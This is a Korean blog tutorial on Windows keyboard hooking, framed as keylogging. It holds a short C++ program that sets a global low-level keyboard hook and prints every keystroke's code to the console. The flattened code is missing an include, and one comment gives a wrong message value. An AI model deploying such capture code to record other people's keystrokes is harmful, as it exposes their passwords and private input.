-
[C/C++] 키보드 후킹 (키로깅)프로그래밍/C++ 2019. 2. 18. 12:00728x90
C/C++은 C#와는 다르게 후킹 과정이 굉장히 간단하다.
12345678910111213141516171819202122232425262728293031323334#include <Windows.h>HHOOK hHook;LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {PKBDLLHOOKSTRUCT pKey = (PKBDLLHOOKSTRUCT)lParam;//Code가 0보다 클 때에만 처리해야합니다. 아닐 경우엔 메세지를 흘려보냅니다.(이유는 잘 모릅니다.)//wParam==256부분은, 키보드를 누르는 이벤트와 떼는 이벤트 중 누르는 이벤트만을 통과시킵니다.//만약 ==267로 바꿀 경우, 키보드를 땔 떼 코드가 실행됩니다.if (nCode >= 0 && (int)wParam == 256) {//lParam포인터가 가리키는 곳에서 키코드를 읽어 keyCheck로 보냅니다.cout << pKey->vkCode << " ";}}CallNextHookEx(hHook, nCode, wParam, lParam);return 0;}void SetHook() {HMODULE hInstance = GetModuleHandle(NULL);hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);}void UnHook() {UnhookWindowsHookEx(hHook);}int main(){SetHook();MSG msg;GetMessage(&msg, NULL, NULL, NULL);UnHook();}cs 728x90'프로그래밍 > C++' 카테고리의 다른 글
[C++] 모든 프로세스명 가져오기 (1) 2019.02.18 [VS2017][C/C++] 콘솔창 사용하지 않기 (0) 2019.02.17 [C++] AES 128 ECB (electronic codebook) 구현 (0) 2019.02.17 댓글